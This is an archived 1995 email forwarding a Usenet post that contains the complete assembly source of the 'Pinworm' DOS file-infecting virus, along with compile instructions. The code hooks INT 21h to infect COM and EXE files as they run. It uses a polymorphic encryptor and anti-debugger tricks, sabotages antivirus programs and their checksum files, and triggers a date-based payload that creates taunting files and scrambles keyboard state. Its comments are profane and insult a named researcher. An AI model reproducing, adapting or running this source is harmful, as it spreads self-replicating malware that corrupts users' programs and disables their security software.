From smtp Thu Jan 26 14:38 EST 1995 Received: from ids.net by POBOX.jwu.edu; Thu, 26 Jan 95 14:38 EST Date: Thu, 26 Jan 1995 14:06:40 -0500 (EST) From: ids.net!JOSHUAW (JOSHUAW) To: pobox.jwu.edu!joshuaw Content-Length: 23717 Content-Type: binary Message-Id: <950126140640.868d@ids.net> Status: RO To: joshuaw@pobox.jwu.edu Subject: (fwd) PINWORM.ASM Newsgroups: alt.comp.virus Path: paperboy.ids.net!uunet!nntp.crl.com!crl5.crl.com!not-for-mail From: yojimbo@crl.com (Douglas Mauldin) Newsgroups: alt.comp.virus Subject: PINWORM.ASM Date: 23 Jan 1995 23:31:03 -0800 Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] Lines: 976 Message-ID: <3g2abn$b7a@crl5.crl.com> NNTP-Posting-Host: crl5.crl.com X-Newsreader: TIN [version 1.2 PL2] ;Someone posted somewhere that they needed the pinworm's source code so here ;it is compliments of THe QUaRaNTiNE: ; compile like so: ; TASM /m pinworm ; Tlink pinworm ; --convert to COM-- ; cseg segment assume cs: cseg, ds: cseg, es: cseg, ss: cseg ; conditional compilation.. SECOND_CRYPT equ 1 ; use second cryptor? XTRA_SPACE equ 1 ; xtra space to prevent double cryptor? INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? ; (slows the loop down alot) KILL_AV equ 1 ; Kill AVs as executed? KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? ; thingz to change.. kill_date equ 19 ; day of the month to play with user max_exe equ 4 ; max exe file size -high byte msg_filez equ 17 ; number of filenames for our msg ; polymorphic engine options.. inc_buf_size equ 20 ; INC buf enc_op_bsize equ 36 ; ENC buf ptr_buf_size equ 36 ; PTR buf cnt_buf_size equ 36 ; CNT&OP dj_buf_size equ 36 ; DEC&JMP loop_disp_size equ 20 ; loop buf range ;compile and change the below equate to the second byte of the JNZ operand org_loop equ 8Dh ; original JNZ offset signal equ 0FA01h ; AX=signal/INT 21h/installation chk vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API enc_size equ offset first_crypt-offset encrypt enc2_size equ offset code_start-offset first_crypt real_start equ offset dj_buf+3 ; starting location of encryted code org 0h ; hellacious EXE offset calcs if !0 start: ;---- Encryptor/Decryptor Location ; Each opcode has predefined ranges to move within - once the opcode is ; determined, it is placed at the decided location within the buffer. ; 0 bytes constant ; encrypt: ptr_buf db ptr_buf_size-3 dup (90h) db 0BEh dw real_start+100h encryptor: cnt_buf db cnt_buf_size-3 dup(90h) db 0B8h ; AX:b8 dw offset vend-offset dj_buf enc_loop: loop_disp db loop_disp_size dup(90h) inc_buf db inc_buf_size dup(90h) enc_op_buf db enc_op_bsize dup(90h) misc_buf dw 9090h word_inc db 90h dj_buf db dj_buf_size-3 dup (90h) dec ax jnz enc_loop ; for orig. only ret_byte db 090h ; C3h or a NOP equiv. first_crypt: ; end of first cryptor ;---- Second encryptor ; Whose only purpose is to tear the shit out of debuggers. It obviously ; isn't invincible, but will at least keep the lamerz and ignorant morons ; like Patti Hoffman out of the code. ; ; _ Uses reverse direction word XOR encryption ; _ Uses the following techniques: ; _ JMP into middle of operand ; _ Replace word after CALL to kill stepping over call ; _ Kills INT 1 vector ; _ Disables Keyboard via Port 21h ; _ Reverse direction encryption prevents stepping past loop ; _ Uses SP as a crucial data register in some locations - if ; the debugger uses the program's stack, then it may very well ; phuck thingz up nicely. ; _ Uses Soft-Ice INT 3 API to lock it up if in memory. ; sti ; fix CLI in garbage code db 0BDh ; MOV BP,XXXX bp_calc dw 0100h push ds es ; save segment registers for EXE IF SECOND_CRYPT push ds dbg1: jmp mov_si ; 1 db 0BEh ; MOV SI,XXXX mov_si: db 0BEh ; MOV SI,XXXX rel2_off dw offset heap+1000h ; org copy: ptr way out there call shit add_bp: int 19h ; fuck 'em if they skipped jmp in_op ; 1 db 0BAh ; MOV DX,XXXX in_op: in al,21h push ax or al,02 jmp kill_keyb ; 1 db 0C6h kill_keyb: out 21h,al ; keyboard=off call shit6 past_shit: jmp dbl_crypt shit7: xor ax,ax ;null es mov es,ax mov bx,word ptr es: [06] ;get INT 1 ret shit: mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister ret shit2: mov word ptr cs: dec_si[bp],4E4Eh mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother call shit3 jnc code_start ;did they skip shit3? xor dx,cx ret db 0EAh ;JMP FAR X:X shit4: db 0BAh ;MOV DX,XXXX sec_enc dw 0 mov di,4A4Dh ;prepare for Soft-ice ret shit3: mov ax,911h ;soft-ice - execute command call shit4 stc dec word ptr es: [06] ;2-kill INT 1 vector push si mov si,4647h ;soft-ice int 3 ;call SI execute - DS:DX-garbage pop si ret shit6: mov byte ptr cs: past_shit[bp],0EBh out 21h,al ; try turning keyboard off again ret dbl_crypt: ; main portion of cryptor mov cx,(offset heap-offset ret2_byte)/2+1 call shit7 dbl_loop: jmp $+3 ; 1 db 034h ; XOR ... call shit3 ; nested is the set DX xchg sp,dx ; xchg SP and DX jmp xor_op ; 1 db 0EAh ; JMP FAR X:X xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. xchg sp,dx ; restore SP call shit2 dec_si: pop ss ; fuck 'em if they skipped shit2 pop sp int 3 xchg sp,bx ; SP=word of old int 1 vec dec cx mov es: [06],sp ; restore int 1 vector xchg sp,bx ; restore SP jnz dbl_loop ret2_byte db 90h,90h ;---- Start of another artificial lifeform ENDIF code_start: IF SECOND_CRYPT pop ax es ; Get port reg bits (ES=PSP) out 21h,al ; restore keyboard ENDIF mov cs: activate[bp],0 ; reset activation toggle mov cs: mem_word[bp],0 ; reset mem. encryption inc si ; SI!=0 mov dx,vsafe_word ; remove VSAFE/VWATCH from memory mov ax,0FA01h ; & check for residency of virus too int 21h or si,si ; if SI=0 then it's us jz no_install mov ah,2ah ; get date int 21h cmp dl,kill_date ; is it time to activate? jnz not_time mov cs: activate[bp],1 not_time: mov ax,es ; PSP segment - popped from DS dec ax ; mcb below PSP m0n mov ds,ax ; DS=MCB seg cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? jnz no_install sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP mov es,word ptr ds: [12h] ; get high mem seg push cs pop ds mov si,bp mov cx,(offset vend - offset start)/2+1 xor di,di rep movsw ; copy code to new seg xor ax,ax mov ds,ax ; null ds push ds lds ax,ds: [21h*4] ; get 21h vector mov es: word ptr old21+2,ds ; save S:O mov es: word ptr old21,ax pop ds mov ds: [21h*4+2],es ; new int 21h seg mov ds: [21h*4],offset new21 ; new offset call get_random cmp dl,5 jle no_install sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem no_install: xor si,si ; null regs.. xor di,di ; some progs actually care.. xor ax,ax xor bx,bx xor dx,dx pop es ds ; restore ES DS cmp cs: exe_phile[bp],1 jz exe_return lea si,org_bytes[bp] ; com return mov di,0100h ; -restore first 4 bytes movsw movsw mov ax,100h ; jump back to 100h push ax _ret: ret exe_return: mov cx,ds ; calc. real CS add cx,10h add word ptr cs: [exe_jump+2+bp],cx int 3 ; fix prefetch cli mov sp,cs: oldsp[bp] ; restore old SP.. sti db 0eah exe_jump dd 0 oldsp dw 0 exe_phile db 0 ;---------------------------------------------------------- ; Infection routine - called from INT 21h handler. ; DS:DX=fname ; Assumes EXE if first byte is 'M' or 'Z' ; Changes/Restores attribute and time/date ; ; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's ; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it ; unusable. ; infect_file: mov di,dx ; move filename ptr into an index reg push ds ; search for end of filename(NULL) pop es xor ax,ax mov cx,128 repnz scasb cmp word ptr [di-3],'EX' ;.eXE? jz is_exec chk_com: cmp word ptr [di-3],'MO' ;.cOM? jnz _ret is_exec: IF KILL_AV mov cs: isav,0 cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV jz anti_action cmp word ptr [di-7],'TO' ;*OT.*? F-PROT jz anti_action cmp word ptr [di-7],'NA' ;*AN.*? jnz name_ok cmp word ptr [di-9],'CS' ;*SCAN.*? jnz name_ok anti_action: inc cs: isav ; set mark for anti-virus kill name_ok: ENDIF push ds ; save fname ptr segment mov es,ax ; NULL ES (ax already 0) lds ax,es: [24h*4] ; get INT 24h vector mov old_24_off,ax ; save it mov old_24_seg,ds mov es: [24h*4+2],cs ; install our handler mov es: [24h*4],offset new_24 pop ds ; restore fname ptr segment push es push cs ; push ES for restoring INT24h later pop es ; ES=CS mov ax,4300h ; get phile attribute int 21h mov ax,4301h ; null attribs 4301h push ax cx ds dx ; save AX-call/CX-attrib/DX:DS xor cx,cx ; zero all int 21h mov bx,signal mov ax,3d02h ; open the file int 21h jc close ; if error..quit infection xchg bx,ax ; get handle push cs ; DS=CS pop ds IF KILL_CHKLIST call kill_chklst ; kill CHKLIST.MS & .CPS filez ENDIF mov ax,5700h ; get file time/date int 21h push cx dx ; save 'em for later mov ah,3fh ; Read first bytes of file mov cx,18h ; EXE header or just first bytes of COM lea dx,org_bytes ; buffer used for both int 21h call offset_end ; set ptr to end- DXAX=file_size cmp byte ptr org_bytes,'M' ; EXE? jz do_exe cmp byte ptr org_bytes,'Z' ; EXE? jz do_exe cmp byte ptr org_bytes+3,0 ; CoM infected? jz d_time dec exe_phile push ax ; save file size add ax,100h ; PSP in com mov rel_off,ax ; save it for decryptor mov bp_calc,ax call encrypt_code ; copy and encrypt code lea dx,vend ; start of newly created code mov cx,offset heap+0FFh ; virus length+xtra add cl,size_disp ; add random ^in case cl exceeds FF mov ah,40h int 21h ; append virus to infected file call offset_zero ; position ptr to beginning of file pop ax ; restore COM file size sub ax,3 ; calculate jmp offset mov word ptr new_jmp+1,ax ; save it.. lea dx,new_jmp ; write the new jmp (E9XXXX,0) mov cx,4 ; total of 4 bytes mov ah,40h int 21h d_time: pop dx cx ; pop date/time mov ax,5701h ; restore the mother fuckers int 21h close: mov ah,3eh ; close phile int 21h pop dx ds cx ax ; restore attrib int 21h dont_do: pop es ; ES=0 lds ax,dword ptr old_24_off ; restore shitty DOS error handler mov es: [24h*4],ax mov es: [24h*4+2],ds ret ; return back to INT 21h handler do_exe: cmp dx,max_exe jg d_time mov exe_phile,1 IF KILL_AV cmp isav,1 ; anti-virus software? jnz not_av mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh jmp write_hdr not_av: ENDIF cmp word ptr exe_header[12h],0 ; checksum 0? jnz d_time mov cx,mem_word ; get random word inc cx ; make sure !0 mov word ptr exe_header[12h],cx ; set checksum to!0 mov cx,word ptr exe_header[10h] ; get old SP mov oldsp,cx ; save it.. mov word ptr exe_header[10h],0 ; write new SP of 0 les cx,dword ptr exe_header[14h] ; Save old entry point mov word ptr exe_jump, cx ; off mov word ptr exe_jump[2], es ; seg push cs ; ES=CS pop es push dx ax ; save file size DX:AX cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) jz pklited cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE jge d_time pklited: mov bp, word ptr exe_header+8h ; calc. new entry point mov cl,4 ; *10h shl bp,cl ; ^by shifting one byte sub ax,bp ; get actual file size-header sbb dx,0 mov cx,10h ; divide me baby div cx mov word ptr exe_header+14h,dx ; save new entry point mov word ptr exe_header+16h,ax mov rel_off,dx ; save it for encryptor mov bp_calc,dx call encrypt_code ; encrypt & copy the code mov cx,offset heap+0FFh ; virus size+xtra add cl,size_disp ; add random ^in case cl exceeds FFh lea dx,vend ; new copy in heap mov ah,40h ; write the damn thing int 21h pop ax dx ; AX:DX file size mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below add cl,size_disp adc ax,cx mov cl,9 ; calc new alloc (512) push ax shr ax,cl ror dx,cl stc adc dx,ax pop ax and ah,1 mov word ptr exe_header+4h,dx ; save new mem. alloc info mov word ptr exe_header+2h,ax write_hdr: call offset_zero ; position ptr to beginning mov cx,18h ; write fiXed header lea dx,exe_header mov ah,40h int 21h jmp d_time ; restore shit/return ;---------------------------------------------------------- ; Kill CHKLIST.* filez by nulling attribs, then deleting ; phile. ; kill_chklst: mov di,2 ; counter for loop lea dx,chkl1 ; first fname to kill kill_loop: mov ax,4301h ; reset attribs xor cx,cx int 21h mov ah,41h ; delete phile int 21h lea dx,chkl2 ; second fname to kill dec di jnz kill_loop ret ;---------------------------------------------------------- ; set file ptr offset_zero: ; self explanitory xor al,al jmp set_fp offset_end: mov al,02h set_fp: mov ah,42h xor cx,cx xor dx,dx int 21h ret ;---------------------------------------------------------- ; Morph, copy, & crypt ; ; 0 bytes constant ; 0 operands in constant locations ; ; ms: ; bit 7 ; 6 ; 5 ; 4 - INCREMENT COUNTER OP ; 3 - ; 2 - INCREMENT ENCRYPTOR OP ; 1 - ADD&SUB|XOR ; 0 - WORD|BYTE ; IF<20-SELECTION BETWEEN JNZ AND JNS ; IF<5-DON'T WRITE ENCRYPTION OPS! ; sec: ; IF<=5-use constant NOP instead of random ; encrypt_code: push bx ; save the handle ;---- Fill buffer space with garbage bytes lea di,encrypt ; fill buffer /w it mov bp,enc_size+1 call fill_buffer ;---- Randomly select between jmp type : JNZ or JNS call get_random mov enc_num,dl ; store ms count for encryption mov mem_word,dx ; mem cryption too mov size_disp,dl ; and size displacment cmp dl,20h jl jmp_2 mov byte ptr jnz_op,75h ; use jnz jmp jmp_set jmp_2: mov byte ptr jnz_op,79h ; jns jmp_set: ;---- Change jump address cmp byte ptr jnz_op+1,org_loop+loop_disp_size ; JNX on max offset? jnz inc_jmp_ofs ; if not then inc the ptr mov byte ptr jnz_op+1,org_loop ; jump to pos X in buffer inc_jmp_ofs: inc byte ptr jnz_op+1 ; increment jmp into buffer ;---- Change encryption type randomly between XOR and ADD&SUB mov al,04 ; default to encrypting ADD mov enc_type,2Ch ; and decrypting SUB test dl,00000010b ; that bit =1? jz use_add_sub mov al,34h ; encrypting XOR mov enc_type,34h ; decrypting XOR use_add_sub: ;--- Change register used for the counter cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI jnz get_reg mov byte ptr count_op,0B7h ; AX-1 mov byte ptr dec_op,47h ; AX-1 get_reg: inc byte ptr count_op ; increment to next OP inc byte ptr dec_op ; "" ;---- Change position of INC XX mov di,inc_ptr ; get new off for INC XX cmp di,inc_buf_size ; max position? jl good_inc ; if not..then continue mov inc_ptr,0 ; use offset 1 next run xor di,di ; use offset 0 this run good_inc: inc inc_ptr ; increment the ptr for next ;---- Toggle between SI and DI cmp byte ptr ptr_set,0BEh ; using SI? jz chg_di ; if so, then switch to DI mov byte ptr inc_buf[di],46h ; write INC SI dec byte ptr ptr_set ; decrement to SI jmp done_chg_ptr chg_di: mov byte ptr inc_buf[di],47h ; write INC DI inc byte ptr ptr_set ; increment to DI inc byte ptr enc_type ; increment decryptor inc ax ; increment encryptor done_chg_ptr: ;---- Select word or byte encryption mov w_b,80h ; default to byte cryption test dl,00000001b ; use word? jz use_byte mov w_b,81h ; now using word en/decryptor mov ch,byte ptr inc_buf[di] ; get INC op mov byte ptr word_inc,ch ; write another one use_byte: ;---- Increment counter value cmp byte ptr crypt_bytes,0Fh ; byte count quite large? jnz inc_cnt ; if not..increment away mov crypt_bytes,offset vend ; else..reset byte count inc_cnt: inc crypt_bytes ; increment byte count ;---- Set DEC XX /JNS|JNZ operands mov di,dec_op_ptr cmp di,dj_buf_size-2 jl good_dec_op mov dec_op_ptr,0 xor di,di good_dec_op: inc dec_op_ptr no_inc_dec_op: add di,offset dj_buf lea si,dec_op movsw movsb inc di ;word align add rel_off,di ;chg offset for decryption push di ;save offset after jmp ;---- Set MOV DI,XXXX|MOV SI,XXXX mov di,ptr_op_ptr cmp di,ptr_buf_size-3 jl good_ptr_op mov ptr_op_ptr,0 xor di,di good_ptr_op: test dl,00001000b jz no_inc_ptr_op inc ptr_op_ptr no_inc_ptr_op: add di,offset ptr_buf lea si,ptr_set movsw movsb ;---- Set MOV AX|BX|DX|CX,XXXX mov di,count_op_ptr cmp di,cnt_buf_size-3 jl good_count_op mov count_op_ptr,0 xor di,di good_count_op: test dl,00010000b jz no_inc_count_op inc count_op_ptr no_inc_count_op: add di,offset cnt_buf lea si,count_op movsw movsb ;---- Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX mov di,enc_op_ptr cmp di,enc_op_bsize-5 jl good_enc_ptr mov enc_op_ptr,0 xor di,di good_enc_ptr: test dl,00000100b jz no_inc_enc_ptr inc enc_op_ptr no_inc_enc_ptr: add di,offset enc_op_buf mov bx,di ; BX points to encrytor pos. lea si,seg_op movsw movsw ;---- FiX second cryptor offset IF SECOND_CRYPT mov rel2_off,offset heap ;first gen has mispl. off ENDIF ;---- Copy virus code along with decryptor to heap mov cx, (offset heap-offset start)/2+1 xor si,si lea di,vend ; ..to heap for encryption rep movsw ; make another copy of virus IF SECOND_CRYPT ;---- Call second encryptor first mov si,offset vend ; offset of enc. start.. add si,offset heap ; ..at end of code mov ret2_byte,0C3h xor bp,bp push ax bx call dbl_crypt pop bx ax mov ret2_byte,90h ENDIF ;---- Set ptr to heap for encryption pop si ; pop offset after jmp add si,offset vend ; offset we'z bez encrypting mov di,si ; we might be using DI too ;---- Encrypt the mother fucker mov ret_byte,0C3h ; put RET mov byte ptr [bx+2],al ; set encryption type call encryptor ; encrypt the bitch pop bx ; restore phile handle ret ; return ;----------------------------------------------- ; Fill buffer with random garbage from table ; DI=off BP=size ; ret: BL=last garbage byte ; ; Decently random..relies on previously encrypted data and MS from clock ; to form pointer to the next operand to use.. ; ; fill_buffer: add bl,dl ; previous NOP+previous NOP off call get_random IF SECOND_CRYPT mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor mov byte ptr sec_enc+1,dh ENDIF cmp dh,5 ; use random NOPs or constant NOP? jg use_rand xor dx,dx jmp constant use_rand: add dl,byte ptr vend+200h[di] ; encrypted byte somewhere.. sub dl,bl and dl,00001111b ; extract lower nibble xor dh,dh constant: mov si,dx ; build index ptr mov bl,byte ptr [nops+si] ; get NOP from table mov byte ptr [di],bl inc di ; increment buffer ptr dec bp jnz fill_buffer ; loop ret ;-------------------------- ; get time man - and use it as semi-random word ; get_random: mov ah,2ch ; get clock int 21h ret ;---------------------------------------------------------- ; Associated bullshit ; credits db ' _ PI_W_rM_v1.00 - Coded by _irogen in April 1994' chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum pin_dir db 255,'PI_W_rM._g!',0 ; DIR created root db '..',0 ; for changing to org. dir file1 db 'I_hope_y',0 ; filez created in dir.. db 'ou_have_',0 ; must be 8 chars each+null db 'enjoyed_',0 ; (255 not space) db 'your_inf',0 db 'estation',0 db '_by_the_',0 db 'mighty P',0 db 'inworm p',0 db 'arasite·',0 db '········',0 db 'Fuck_you',0 db 'all!____',0 db '-_irogen',0 ; #13 new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) inc_ptr dw 0 ; ptr to location of INC enc_op_ptr dw 0 ; actual ENC op ptr ptr_op_ptr dw 0 ; ptr to ptr set pos count_op_ptr dw 0 ; ptr to counter reg pos dec_op_ptr dw 1 ; ptr to decrement counter op pos activate db 0 isav db 0 seg_op db 2Eh ; CS w_b db 80h ; byte=80h word=81h enc_type db 2Ch ; SUB BYTE PTR CS:[SI],XXXX ;XOR/34 enc_num db 0 ptr_set db 0BEh ; MOV SI,XXXX rel_off dw real_start+100h count_op db 0B8h ; CX:B9 AX:b8 crypt_bytes dw offset vend-offset dj_buf dec_op: dec ax ; DEC AX|BX|CX|DX jnz_op: db 75h,org_loop nops: nop ; 1 byte garbage OPs.. must be 16 IF INCLUDE_INT3 int 3 ELSE cld ENDIF into inc bp dec bp cld nop stc cmc clc stc into cli sti inc bp IF INCLUDE_INT3 int 3 ELSE nop ENDIF ;---------------------------------------------------------- ; activation routine ; act_routine: push ax bx cx ds dx bp es cs pop ds mov activate,0 ;we're in work now.. lea dx,pin_dir ;create our subdirectory mov ah,39h int 21h mov ah,3bh ;change to our new subdirectory int 21h lea dx,file1 ;offset of first filename mov bp,msg_filez ;# of filez total make_msg: xor cx,cx ;null attribs mov ah,3ch int 21h ;create phile jc dont_close xchg ax,bx mov ah,3eh ;close phile int 21h dont_close: add dx,9 ;point to next phile dec bp jnz make_msg lea dx,root ; change back to orginal dir mov ah,3bh int 21h cmp r_delay,5 ;5 calls? jl r_no ;if not then skip keyboard ror mov r_delay,-1 xor ax,ax ;es=null mov es,ax ror word ptr es: [416h],1 ;rotate keyboard flags r_no: inc r_delay ;increment calls count mov activate,1 pop es bp dx ds cx bx ax jmp no_act ;------------------------------------------------------- ; Interrupt 24h - critical error handler ; new_24: ; critical error handler mov al,3 ; prompts suck, return fail iret ;--------------------------------------------------------- ; In-memory encryption function ; **virus encrypted in memory up to this point** ; mem_crypt: mov cx,offset mem_crypt-offset code_start xor di,di ;offset 0 mem_loop: db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], mem_word dw 0 ;XXXX inc di loop mem_loop ret ;---------------------------------------------------------- ; Interrupt 21h ; returns SI=0 and passes control to normal handler if ; VSAFE uninstall command is recieved. ; new21: pushf cmp cs: activate,1 ; time to activate? jnz no_act cmp ah,0Bh jl act_routine no_act: cmp ax,signal ; be it us? jnz not_us ; richtig.. cmp dx,vsafe_word jnz not_us xor si,si ; tis us mov di,4559h ; simulate VSAFE return not_us: cmp ah,4bh ; execute phile? jnz jmp_org go_now: push ax bp bx cx di dx ds es si call mem_crypt ; decrypt in memory call infect_file ; the mother of all calls call mem_crypt ; encrypt in memory pop si es ds dx di cx bx bp ax jmp_org: popf db 0eah ; jump far old21 dd 0 ; O:S exe_header: org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr ;---- Start of heap (not written to disk) heap: db 14h dup(0) ; remaining exe header space old_24_off dw 0 ; old int24h vector old_24_seg dw 0 r_delay db 0 size_disp db 0 ; additional size of virus IF XTRA_SPACE db 0DDh dup(0) ; xtra space for random write ; otherwise decryptor will be ; written twice - could make it ; vulnerable ENDIF vend: ; end of virus in memory.. cseg ends end start